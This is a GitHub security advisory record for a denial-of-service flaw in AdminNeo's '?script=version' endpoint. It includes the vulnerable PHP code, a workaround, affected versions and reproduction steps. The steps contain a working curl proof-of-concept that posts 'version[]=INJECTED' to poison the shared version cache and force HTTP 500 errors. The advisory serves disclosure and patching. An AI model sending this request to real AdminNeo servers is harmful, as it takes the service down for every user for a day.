{"id":"GHSA-jm85-8cpp-9cjc","summary":"AdminNeo: version-cache array injection causes persistent denial of service","details":"### Summary\nAdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, function `rawurlencode()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users for the next 24 hours.\n\nOriginally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh\nAlthough the version checking process was modified in AdminNeo, the root cause persisted.\n\n### Workaround\nIf you can't upgrade, make the file `adminneo.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server.\n\n### Details\n#### 1. Intended design of `?script=version`\nThe endpoint is designed to receive version data from GitHub via browser JavaScript.\n- `functions.js` line 110-121: Receives the latest release information from GitHub API by AJAX.\n- JavaScript POSTs version number to `?script=version`.\n- Server stores version number in `/tmp/adminneo.version` file that is used as a shared cache for all users in the same server for the next 24 hours.\n\n```js\n// function.js lines 119-120\nconst data = 'version=' + version + '&token=' + token;\najax(baseUrl + 'script=version', null, data);\n```\n\n#### 2. The vulnerability\n\nThe endpoint only checks `$_GET[\"script\"] == \"version\"` - it does not validate:\n- Request origin (CSRF token is present, but not checked for this endpoint)\n- Request source (any HTTP client can POST)\n- Parameter types (`version` expected as string, array not rejected)\n\n```php\n// bootstrap.inc.php lines 44-53\nif ($_GET[\"script\"] == \"version\") {\n\t$filename = get_temp_dir() . \"/adminneo.version\";\n\t@unlink($filename); // It may not be writable by us, @ - it may not exist.\n\n\t$file = open_file_with_lock($filename);\n\tif ($file) {\n\t\twrite_and_unlock_file($file, serialize([\"version\" =\u003e $_POST[\"version\"]]));\n\t}\n\texit;\n}\n```\n\n#### 3. Type confusion crash\nWhen POST contains `version[]` instead of `version`, PHP creates an array. When AdminNeo reads this file and passes to `cookie()` and then to `rawurlencode()`:\n\n```php\n// design.inc.php line 40\ncookie(\"neo_version\", $data[\"version\"], $lifetime); // Sync expiration with the file.\n\n// functions.inc.php lines 398-405\nfunction cookie(string $name, string $value, int $lifetime = 2592000): void\n{\n\theader(\"Set-Cookie: $name=\" . rawurlencode($value)\n\t\t. ($lifetime ? \"; expires=\" . gmdate(\"D, d M Y H:i:s\", time() + $lifetime) . \" GMT\" : \"\")\n\t\t. \"; path=\" . preg_replace('~\\?.*~', '', $_SERVER[\"REQUEST_URI\"])\n\t\t. (HTTPS ? \"; secure\" : \"\")\n\t\t. \"; HttpOnly; SameSite=lax\",\n\t\tfalse);\n}\n```\n\nPHP 8.x throws:\n\n```\nFatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given\n```\n\n### Steps to Reproduce\n\n(Example URL is for the official AdminNeo Docker image.)\n\n**Step 1:** Verify AdminNeo is running and accessible.\n\n```sh\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8080\n```\n\nExpected output:\n\n```\n200\n```\n\n**Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string.\n\n```sh\ncurl -X POST \"http://localhost:8080?script=version\" -d \"version[]=INJECTED\"\n```\n\nExpected output: Empty response (no error).\n\n**Step 3:** Access Adminer again to trigger the crash.\n\n```sh\ncurl -s -o /dev/null -w \"%{http_code}\\n\" http://localhost:8080\n```\n\nExpected output:\n\n```\n500\n```\n\n**Step 4:** (Optional) View the PHP error in server logs.\n\n```\nFatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given\n```\n\n**Step 5:** (Optional) Inspect the poisoned file.\n\n```sh\ncat /tmp/adminneo.version\n```\n\nExpected output:\n\n```\na:1:{s:7:\"version\";a:1:{i:0;s:8:\"INJECTED\";}}\n```\n\n**Recovery:**\n\n```sh\nrm /tmp/adminer.version\n```\n\nAfter deletion, AdminNeo returns HTTP 200.\n\n\u003chr\u003e\n\n### Impact\n\n**Type:** Denial of Service\n\n**Root cause:** The `?script=version` endpoint is designed to receive data from GitHub via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `rawurlencode()`, this allows DoS for the next 24 hours.\n\n**Affected users:** Any AdminNeo instance accessible over the network.","aliases":["CVE-2026-59978"],"modified":"2026-10-30T19:00:04.120901562Z","published":"2026-10-30T18:53:08Z","database_specific":{"cwe_ids":["CWE-20"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-30T18:53:08Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/adminneo-org/adminneo/security/advisories/GHSA-jm85-8cpp-9cjc"},{"type":"WEB","url":"https://github.com/adminneo-org/adminneo/commit/b7ae929e6afb374f0a7aba3d73b7d441470ff907"},{"type":"PACKAGE","url":"https://github.com/adminneo-org/adminneo"},{"type":"WEB","url":"https://github.com/adminneo-org/adminneo/releases/tag/v5.5.0"}],"affected":[{"package":{"name":"adminneo-org/adminneo","ecosystem":"Packagist","purl":"pkg:composer/adminneo-org/adminneo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.6.2"},{"fixed":"5.5.0"}]}],"versions":["v4.10.0","v4.11.0","v4.12.0","v4.13.0","v4.14.0","v4.15.0","v4.16.0","v4.16.1","v4.17.0","v4.17.1","v4.17.2","v4.6.2","v4.6.3","v4.7.0","v4.7.1","v4.7.2","v4.7.3","v4.7.4","v4.7.5","v4.7.6","v4.7.7","v4.7.8","v4.7.9","v4.8.0","v4.8.1","v4.8.2","v4.9.0","v4.9.1","v4.9.2","v4.9.3","v4.9.4","v5.0.0","v5.0.0-rc","v5.1.0","v5.1.1","v5.2.0","v5.2.1","v5.3.0","v5.4.0","v5.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-jm85-8cpp-9cjc/GHSA-jm85-8cpp-9cjc.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}